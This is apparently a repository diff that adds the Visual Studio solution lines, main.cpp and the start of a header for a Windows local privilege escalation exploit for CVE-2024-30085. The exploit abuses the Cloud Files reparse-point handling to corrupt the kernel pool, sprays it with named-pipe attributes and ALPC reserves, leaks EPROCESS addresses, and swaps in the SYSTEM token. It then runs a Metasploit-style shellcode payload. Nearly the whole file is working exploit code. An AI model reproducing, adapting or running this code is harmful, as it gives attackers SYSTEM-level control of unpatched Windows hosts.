{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x64.ActiveCfg = Release|x64
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x64.Build.0 = Release|x64
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x86.ActiveCfg = Release|Win32
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {042F6B8E-E6B4-4733-B6D1-A7430B811DE6}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Vendored
Executable
+601
@@ -0,0 +1,601 @@
|
||||
// main.cpp
|
||||
#include <Windows.h>
|
||||
#include <cfapi.h>
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
#include <winternl.h>
|
||||
#include "common.h"
|
||||
#include "cve-2024-30085-dll.h"
|
||||
#pragma comment(lib, "cldapi.lib")
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
typedef struct _ALPC_MESSAGE_ATTRIBUTES {
|
||||
ULONG AllocatedAttributes;
|
||||
ULONG ValidAttributes;
|
||||
}
|
||||
ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
|
||||
typedef struct _ALPC_MESSAGE {
|
||||
PORT_MESSAGE PortHeader;
|
||||
BYTE PortMessage[1000];
|
||||
}
|
||||
ALPC_MESSAGE, * PALPC_MESSAGE;
|
||||
/*
|
||||
typedef struct _CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID;
|
||||
*/
|
||||
/*
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemHandleInformation = 16,
|
||||
SystemBigPoolInformation = 66
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
*/
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
}
|
||||
RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
typedef struct _RTL_PROCESS_MODULES {
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
}
|
||||
RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||
unsigned short UniqueProcessId;
|
||||
unsigned short CreatorBackTraceIndex;
|
||||
unsigned char ObjectTypeIndex;
|
||||
unsigned char HandleAttributes;
|
||||
unsigned short HandleValue;
|
||||
void* Object;
|
||||
unsigned long GrantedAccess;
|
||||
long __PADDING__[1];
|
||||
}
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
||||
unsigned long NumberOfHandles;
|
||||
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
}
|
||||
SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
||||
typedef struct _SYSTEM_BIGPOOL_ENTRY {
|
||||
union {
|
||||
PVOID VirtualAddress;
|
||||
ULONG_PTR NonPaged : 1;
|
||||
};
|
||||
SIZE_T SizeInBytes;
|
||||
union {
|
||||
UCHAR Tag[4];
|
||||
ULONG TagUlong;
|
||||
};
|
||||
}
|
||||
SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;
|
||||
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
|
||||
}
|
||||
SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;
|
||||
typedef NTSTATUS(NTAPI* NTFSCONTROLFILE)(
|
||||
IN HANDLE FileHandle,
|
||||
IN HANDLE Event OPTIONAL,
|
||||
IN PVOID ApcRoutine OPTIONAL,
|
||||
IN PVOID ApcContext OPTIONAL,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG FsControlCode,
|
||||
IN PVOID InputBuffer OPTIONAL,
|
||||
IN ULONG InputBufferLength,
|
||||
OUT PVOID OutputBuffer OPTIONAL,
|
||||
IN ULONG OutputBufferLength
|
||||
);
|
||||
extern "C"
|
||||
NTSTATUS NTAPI NtAlpcCreatePort(
|
||||
_Out_ PHANDLE PortHandle,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
|
||||
);
|
||||
extern "C"
|
||||
NTSTATUS NTAPI NtAlpcCreateResourceReserve(
|
||||
_In_ HANDLE PortHandle,
|
||||
_Reserved_ ULONG Flags,
|
||||
_In_ SIZE_T MessageSize,
|
||||
_Out_ PHANDLE ResourceId
|
||||
);
|
||||
extern "C"
|
||||
NTSTATUS NTAPI NtAlpcSendWaitReceivePort(
|
||||
_In_ HANDLE PortHandle,
|
||||
_In_ ULONG Flags,
|
||||
_Inout_opt_ PPORT_MESSAGE SendMessage,
|
||||
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
|
||||
_Inout_opt_ PPORT_MESSAGE ReceiveMessage,
|
||||
_Inout_opt_ PSIZE_T BufferLength,
|
||||
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
|
||||
_In_opt_ PLARGE_INTEGER Timeout
|
||||
);
|
||||
NTFSCONTROLFILE NtFsControlFile;
|
||||
PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) {
|
||||
DWORD dataLen = 0x3fe8;
|
||||
PBYTE data = new BYTE[dataLen];
|
||||
memset(data, 0, dataLen);
|
||||
*(PUSHORT)&data[0x0] = 0x0001;
|
||||
*(PUSHORT)&data[0x2] = 0x4000;
|
||||
PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER)&data[4];
|
||||
PBYTE p = (PBYTE)&cld->Magic;
|
||||
cld->Magic = REPARSE_BUFFER_MAGIC_VALUE;
|
||||
cld->Reserved = 0x0000;
|
||||
cld->NumItems = 0;
|
||||
cld->Size = 0x3fe4;
|
||||
CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1}
|
||||
CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag
|
||||
CLD_ADD_ITEM(0x6, 8, 0x208); // ???
|
||||
CLD_ADD_ITEM(0, 0, 0); // dummy
|
||||
CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap
|
||||
*(PBYTE)&p[0x200] = 0x01;
|
||||
*(PULONG32)&p[0x204] = 0x00000000;
|
||||
*(PULONG64)&p[0x208] = 0x0000000000000000;
|
||||
cld = (PREPARSE_CLD_BUFFER)&p[0x210];
|
||||
p = (PBYTE)&cld->Magic;
|
||||
cld->Magic = REPARSE_BITMAP_MAGIC_VALUE;
|
||||
cld->Reserved = 0x0000;
|
||||
cld->NumItems = 0;
|
||||
cld->Size = 0x3800;
|
||||
CLD_ADD_ITEM(0x7, 1, 0x100);
|
||||
CLD_ADD_ITEM(0x7, 1, 0x101);
|
||||
CLD_ADD_ITEM(0x7, 1, 0x102);
|
||||
CLD_ADD_ITEM(0x6, 8, 0x104);
|
||||
CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110);
|
||||
*(PBYTE)&p[0x100] = 0x00;
|
||||
*(PBYTE)&p[0x101] = 0x01;
|
||||
*(PBYTE)&p[0x102] = 0x00;
|
||||
memcpy(&p[0x1110], overData, overSize);
|
||||
PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen];
|
||||
PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER)reparseBuffer;
|
||||
ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen);
|
||||
rd->ReparseTag = IO_REPARSE_TAG_CLOUD;
|
||||
rd->ReparseDataLength = dataLen;
|
||||
memcpy(rd->GenericReparseBuffer.DataBuffer, data, dataLen);
|
||||
return rd;
|
||||
}
|
||||
BOOL GetObjAddr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) {
|
||||
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
|
||||
ULONG ulBytes = 0;
|
||||
NTSTATUS ntRet;
|
||||
*ppObjAddr = NULL;
|
||||
while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)16, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
if (pHandleInfo != NULL) {
|
||||
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, 2 * ulBytes);
|
||||
}
|
||||
else {
|
||||
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(1, 2 * ulBytes);
|
||||
}
|
||||
}
|
||||
if (!NT_SUCCESS(ntRet)) {
|
||||
goto Exit;
|
||||
}
|
||||
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
|
||||
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT)handle)) {
|
||||
*ppObjAddr = pHandleInfo->Handles[i].Object;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Exit:
|
||||
if (pHandleInfo)
|
||||
free(pHandleInfo);
|
||||
return (*ppObjAddr != NULL);
|
||||
}
|
||||
BOOL GetPoolAddr(PVOID* ppPoolAddr, UINT tag, SIZE_T poolSize) {
|
||||
NTSTATUS ntRet;
|
||||
BOOL bRet = FALSE;
|
||||
ULONG retlen;
|
||||
*ppPoolAddr = NULL;
|
||||
DWORD* info = (DWORD*)malloc(0x1000);
|
||||
PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo;
|
||||
ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)66, info, 0x1000, &retlen);
|
||||
if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) {
|
||||
goto Exit;
|
||||
}
|
||||
info = (DWORD*)realloc(info, retlen);
|
||||
ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)66, info, retlen, &retlen);
|
||||
if (!NT_SUCCESS(ntRet)) {
|
||||
goto Exit;
|
||||
}
|
||||
pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION)info;
|
||||
if (pBigPoolInfo->Count == 0) {
|
||||
goto Exit;
|
||||
}
|
||||
for (ULONG i = pBigPoolInfo->Count - 1; i >= 0; i--) {
|
||||
if ((pBigPoolInfo->AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo->AllocatedInfo[i].SizeInBytes == poolSize)) {
|
||||
*ppPoolAddr = pBigPoolInfo->AllocatedInfo[i].VirtualAddress;
|
||||
bRet = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Exit:
|
||||
free(info);
|
||||
return bRet;
|
||||
}
|
||||
HANDLE g_readPipe;
|
||||
HANDLE g_writePipe;
|
||||
BOOL PipeInit() {
|
||||
return CreatePipe(&g_readPipe, &g_writePipe, NULL, 0);
|
||||
}
|
||||
BOOL PipeWriteAttr(VOID* attr, UINT attrSize) {
|
||||
IO_STATUS_BLOCK iosb;
|
||||
char output[0x100];
|
||||
NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &
|
||||
iosb, 0x11003C, attr, attrSize,
|
||||
output, sizeof(output));
|
||||
return NT_SUCCESS(ntRet);
|
||||
}
|
||||
BOOL PipeReadAttr(CHAR* pipeName, PVOID pOutput, SIZE_T outputSize) {
|
||||
IO_STATUS_BLOCK iosb;
|
||||
NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize);
|
||||
return NT_SUCCESS(ntRet);
|
||||
}
|
||||
BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE* pAttr, PCSTR szPrefix) {
|
||||
BOOL bRet = TRUE;
|
||||
SIZE_T attrSize = poolSize - 0x28;
|
||||
for (UINT i = 0; i < sprayCount; i++) {
|
||||
snprintf((CHAR*)pAttr, attrSize, "%s%x", szPrefix, i);
|
||||
if (!PipeWriteAttr(pAttr, attrSize)) {
|
||||
bRet = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
HANDLE g_hResource = NULL;
|
||||
BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
|
||||
HANDLE hPort;
|
||||
HANDLE hResource;
|
||||
NTSTATUS ntRet;
|
||||
for (UINT i = 0; i < portsCount; i++) {
|
||||
hPort = phPorts[i];
|
||||
for (UINT j = 0; j < reservesCount; j++) {
|
||||
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
|
||||
if (!NT_SUCCESS(ntRet))
|
||||
return FALSE;
|
||||
if (g_hResource == NULL) { // save only the very first
|
||||
g_hResource = hResource;
|
||||
}
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
BOOL isKernAddr(ULONG_PTR kaddr) {
|
||||
return ((kaddr & 0xffff800000000000) == 0xffff800000000000);
|
||||
}
|
||||
BOOL CreateALPCPorts() {
|
||||
ALPC_PORT_ATTRIBUTES portAttr;
|
||||
OBJECT_ATTRIBUTES oa;
|
||||
NTSTATUS status;
|
||||
UNICODE_STRING objName;
|
||||
WCHAR portName[100];
|
||||
for (UINT i = 0; i < g_portCount; i++) {
|
||||
swprintf_s(portName, 100, L"\\RPC Control\\TestPort_%d", i);
|
||||
RtlInitUnicodeString(&objName, portName);
|
||||
InitializeObjectAttributes(&oa, &objName, 0, 0, NULL);
|
||||
ZeroMemory(&portAttr, sizeof(portAttr));
|
||||
portAttr.MaxMessageLength = MAX_MSG_LEN;
|
||||
status = NtAlpcCreatePort(&g_ports[i], &oa, &portAttr);
|
||||
if (NT_SUCCESS(status) == FALSE) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
|
||||
if (!pMsfPayload)
|
||||
return;
|
||||
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!pPayload)
|
||||
return;
|
||||
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
|
||||
}
|
||||
BOOL GetTokenOffset(PUINT offset) {
|
||||
BOOL result = FALSE;
|
||||
PBYTE peb;
|
||||
USHORT buildNumber;
|
||||
peb = *(PBYTE*)((PBYTE)NtCurrentTeb() + 0x60);
|
||||
buildNumber = *(PUINT16)&peb[0x120];
|
||||
if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) {
|
||||
*offset = 0x360;
|
||||
result = TRUE;
|
||||
}
|
||||
else if (buildNumber >= WINDOWS_BUILD_19H2) {
|
||||
*offset = 0x4b8;
|
||||
result = TRUE;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
BOOL Initialize() {
|
||||
BOOL result;
|
||||
g_ports = (PHANDLE)HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE));
|
||||
if (g_ports == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
result = CreatePipe(&g_readPipe, &g_writePipe, NULL, 0);
|
||||
if (result == FALSE) {
|
||||
return FALSE;
|
||||
}
|
||||
result = CreateALPCPorts();
|
||||
if (result == FALSE) {
|
||||
return FALSE;
|
||||
}
|
||||
CONST ULONG poolAlHaSize = 0x1000;
|
||||
CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;
|
||||
//printf(" allocating alpc reserve handles\n");
|
||||
result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1);
|
||||
if (!result) {
|
||||
return FALSE;
|
||||
}
|
||||
HMODULE ntdll;
|
||||
ntdll = LoadLibraryW(L"ntdll.dll");
|
||||
if (ntdll == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(ntdll, "NtFsControlFile");
|
||||
if (NtFsControlFile == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
PKALPC_BLOB blob;
|
||||
blob = (PKALPC_BLOB)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
|
||||
if (blob == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
blob->Ref = 1;
|
||||
blob->Type = AlpcReserveType;
|
||||
g_reserve = (PKALPC_RESERVE)&blob->Data;
|
||||
blob = (PKALPC_BLOB)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
|
||||
if (blob == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
blob->Ref = 1;
|
||||
blob->Type = AlpcMessageType;
|
||||
g_message = (PKALPC_MESSAGE)&blob->Data;
|
||||
g_reserve->Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve->Size);
|
||||
g_reserve->Message = g_message;
|
||||
g_message->Reserve = g_reserve;
|
||||
return TRUE;
|
||||
}
|
||||
extern "C" int Exploit(PMSF_PAYLOAD pMsfPayload) {
|
||||
BOOL result;
|
||||
NTSTATUS status;
|
||||
UINT tokenOffset;
|
||||
if (GetTokenOffset(&tokenOffset) == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
//printf("[*] Initializing...\n");
|
||||
if (Initialize() == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
CF_SYNC_REGISTRATION reg = {};
|
||||
reg.StructSize = sizeof(reg);
|
||||
reg.ProviderName = L"TestProvider";
|
||||
reg.ProviderVersion = L"1234";
|
||||
reg.ProviderId = {
|
||||
0xB196E670,
|
||||
0x59C7,
|
||||
0x4D41,
|
||||
{
|
||||
0
|
||||
}
|
||||
};
|
||||
CF_SYNC_POLICIES pol = {};
|
||||
pol.StructSize = sizeof(pol);
|
||||
pol.HardLink = CF_HARDLINK_POLICY_ALLOWED;
|
||||
pol.InSync = CF_INSYNC_POLICY_NONE;
|
||||
pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
|
||||
pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
|
||||
CF_CONNECTION_KEY key = {};
|
||||
CF_CALLBACK_REGISTRATION table[1] = {
|
||||
CF_CALLBACK_REGISTRATION_END
|
||||
};
|
||||
WCHAR targetDir[MAX_PATH + 1] = {};
|
||||
WCHAR targetPath[MAX_PATH + 1] = {};
|
||||
WCHAR tmpPath[MAX_PATH + 1] = {};
|
||||
GetCurrentDirectory(MAX_PATH, targetDir);
|
||||
swprintf_s(targetPath, L"%s\\SYNC_ROOT", targetDir);
|
||||
CfUnregisterSyncRoot(targetPath);
|
||||
RemoveDirectory(targetPath);
|
||||
//printf(" registering provider\n");
|
||||
if (!CreateDirectory(targetPath, NULL)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
status = CfRegisterSyncRoot(targetPath, ®, &pol, CF_REGISTER_FLAG_NONE);
|
||||
if (NT_SUCCESS(status) == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, &key);
|
||||
if (NT_SUCCESS(status) == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
//printf(" creating reparse point\n");
|
||||
swprintf_s(tmpPath, L"%s\\XXX", targetPath);
|
||||
if (!CreateDirectory(tmpPath, NULL)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
swprintf_s(tmpPath, L"%s\\XXX", targetDir);
|
||||
if (!MoveFile(targetPath, tmpPath)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
//printf(" setting reparse data\n");
|
||||
IO_STATUS_BLOCK iosb = {};
|
||||
OBJECT_ATTRIBUTES objAttr = {};
|
||||
UNICODE_STRING objName = {};
|
||||
WCHAR path[MAX_PATH];
|
||||
HANDLE file;
|
||||
swprintf_s(path, MAX_PATH, L"\\??\\%s%s", targetDir, L"\\XXX\\XXX");
|
||||
RtlInitUnicodeString(&objName, path);
|
||||
InitializeObjectAttributes(&objAttr, &objName, 0x40, 0, NULL);
|
||||
status = NtCreateFile(&file, GENERIC_READ | GENERIC_WRITE, &objAttr, &iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
|
||||
if (NT_SUCCESS(status) == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
PREPARSE_DATA_BUFFER rd = MakeDataBuffer(&g_reserve, sizeof(g_reserve));
|
||||
if (rd == NULL) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
status = NtFsControlFile(file, NULL, NULL, NULL, &iosb, FSCTL_SET_REPARSE_POINT, rd, rd->ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0);
|
||||
CloseHandle(file);
|
||||
swprintf_s(tmpPath, L"%s\\XXX", targetDir);
|
||||
if (!MoveFile(tmpPath, targetPath)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
// Trigger
|
||||
ULONG attrSize = 0x1000;
|
||||
BYTE* pAttr = (BYTE*)calloc(attrSize + 10, sizeof(BYTE));
|
||||
memset(pAttr, 0, attrSize);
|
||||
if (!PipePoolSprayAlloc(0x1000, 1, pAttr, "x")) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
if (!PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a")) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
if (!PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b")) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
UINT holesCount = 0;
|
||||
for (int i = 0; i < SPRAY_COUNT; i += 2) {
|
||||
snprintf((CHAR*)pAttr, attrSize, "%s%x", "b", i);
|
||||
if (!PipeWriteAttr(pAttr, strlen((CHAR*)pAttr) + 1)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
holesCount++;
|
||||
}
|
||||
if (!AllocateALPCReserveHandles(g_ports, g_portCount, 1)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
for (int i = 1; i < SPRAY_COUNT; i += 2) {
|
||||
snprintf((CHAR*)pAttr, attrSize, "%s%x", "b", i);
|
||||
if (!PipeWriteAttr(pAttr, strlen((CHAR*)pAttr) + 1)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
swprintf_s(tmpPath, L"%s\\XXX", targetPath);
|
||||
file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
|
||||
//printf("[*] Cleaning up...\n");
|
||||
status = CfDisconnectSyncRoot(key);
|
||||
if (NT_SUCCESS(status) == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
status = CfUnregisterSyncRoot(targetPath);
|
||||
if (NT_SUCCESS(status) == FALSE) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
swprintf_s(tmpPath, L"%s\\XXX", targetPath);
|
||||
if (!RemoveDirectory(tmpPath)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
if (!RemoveDirectory(targetPath)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
//printf("[*] Entering interactive session...\n");
|
||||
ULONG_PTR ullEPROCaddr = NULL;
|
||||
ULONG_PTR ullSystemEPROCaddr = NULL;
|
||||
DWORD dwPid = GetCurrentProcessId();
|
||||
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid);
|
||||
if (hProc == NULL) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
CONST UINT PIPE_ATTR_TAG = 0x7441704E;
|
||||
ULONG_PTR ullPipeAttributeAddr = NULL;
|
||||
if (!GetPoolAddr((PVOID*)&ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
if (!GetObjAddr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
if (!GetObjAddr((PVOID*)&ullEPROCaddr, GetCurrentProcessId(), hProc)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
CHAR pipeName[] = "xxx";
|
||||
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
|
||||
ULONG_PTR ullToken;
|
||||
LIST_ENTRY tmpEntry;
|
||||
g_message->ExtensionBuffer = (BYTE*)ullPipeAttributeAddr + 0x20;
|
||||
g_message->ExtensionBufferSize = 0x10;
|
||||
ULONG DataLength = 0x10;
|
||||
ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
|
||||
alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
|
||||
alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
|
||||
alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
|
||||
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));
|
||||
pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue
|
||||
pAlpcMsgData[1] = 0x00787878; // name
|
||||
for (int i = 0; i < g_portCount; i++) {
|
||||
status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
// read system token
|
||||
if (!PipeReadAttr(pipeName, outputData, 0x1000)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
ullToken = *(ULONG_PTR*)(outputData + tokenOffset);
|
||||
tmpEntry = g_message->Entry;
|
||||
if (!isKernAddr(ullToken)) {
|
||||
//printf("[-] Error\n");
|
||||
return FALSE;
|
||||
}
|
||||
PKALPC_BLOB blob;
|
||||
blob = (PKALPC_BLOB)(g_reserve)-1;
|
||||
memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
|
||||
blob->Ref = 1;
|
||||
blob->Type = AlpcReserveType;
|
||||
g_reserve->Size = 0x28;
|
||||
g_reserve->Message = g_message;
|
||||
blob = (PKALPC_BLOB)(g_message)-1;
|
||||
memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
|
||||
blob->Ref = 1;
|
||||
blob->Type = AlpcMessageType;
|
||||
g_message->Reserve = g_reserve;
|
||||
g_message->ExtensionBuffer = (BYTE*)ullEPROCaddr + tokenOffset;
|
||||
g_message->ExtensionBufferSize = 8;
|
||||
DataLength = 8;
|
||||
memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
|
||||
alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
|
||||
alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
|
||||
alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
|
||||
pAlpcMsgData[0] = ullToken;
|
||||
for (int i = 0; i < g_portCount; i++) {
|
||||
NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
g_message->Entry = tmpEntry;
|
||||
ExecutePayload(pMsfPayload);
|
||||
while (1) {};
|
||||
}
|
||||
|
||||
Vendored
Executable
+184
@@ -0,0 +1,184 @@
|
||||
#pragma once
|
||||
/*
|
||||
Definitions (main.h)
|
||||
*/
|
||||
#define MAX_MSG_LEN 0x500
|
||||
#define ALPC_MSGFLG_NONE 0x0
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
#define WINDOWS_BUILD_19H1 18362
|
||||
#define WINDOWS_BUILD_19H2 18363
|
||||
#define SPRAY_COUNT 0x1000
|
||||
